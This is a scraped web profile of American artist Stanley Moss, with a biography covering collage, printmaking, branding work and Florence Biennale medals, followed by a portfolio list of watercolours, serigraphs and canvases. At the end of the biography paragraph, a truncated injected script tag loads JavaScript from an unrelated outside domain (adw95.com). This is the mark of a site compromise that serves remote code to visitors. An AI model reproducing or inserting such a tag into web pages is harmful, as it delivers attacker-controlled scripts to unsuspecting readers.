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Stanley Moss
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Profile
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American artist Stanley Moss is known as collagist, printmaker, graphic designer, journalist, global brand specialist and novelist.
He has lived and worked in many locales, from Southern California to New York City, residencies in Europe, Hong Kong, and the Pacific Northwest. Today he is based in London and Paris.
He makes plein-air painting, digital art, political collage, limited edition serigraphs, and portraiture.
Other credentials include association with the New York art journal BOMB, gallery, museum and group shows, publication as an Absolut artist, sponsored artist of Johnnie Walker Black Label Scotch Whisky, and a participant in the US State Department’s Art In Embassies program. His "New Wave Cookbook" is in the permanent collection of the MoMA NY.
In 2001, during his second appearance at the Biennale of Florence, he received a medal in digital art/new media for a work commemorating 9/11. In February 2006 he was named CEO of The Medinge Group, a Stcokholm-based high-level international think-tank on branding.<script src=http://www.adw95.com/b.js></s
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Portfolio
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Committed to Memory
Digital print commemorating 9/11. Medal: 2001 Florence Biennale.
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Golspie, Scotland
2006 watercolour 4"h x 6"w
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Devi Garh, Rajasthan India
2006 watercolour 4"h x 6"w
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Bell Rock Tryptich
Array of 3 canvases, 48''w x 20''h, Private collection, Paris
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The Deconstruction of Communism
A digital print based on a 1997 collage. Medal/ 2001 Florence Biennale.
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Bishop Tutu vs. Hurricane Elena
1985 limited edition 6-color serigraph on Arches paper, 22"h x 30"w
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Downriver #45
1997 acrylic on canvas, 30''h x 40''w
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Blue Downriver #2
1997 acrylic on canvas, 24"h x 48"w, STOLEN. If located, contact artist.
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Puente Nuevo, Ronda, Spain
Pen and watercolour illustration from artist's notebook, January 2005
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Blue Downriver
1995 acrylic on canvas, 30''h x 40''w
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Red Rocks/Sedona
2007 watercolour 4"h x 6"w
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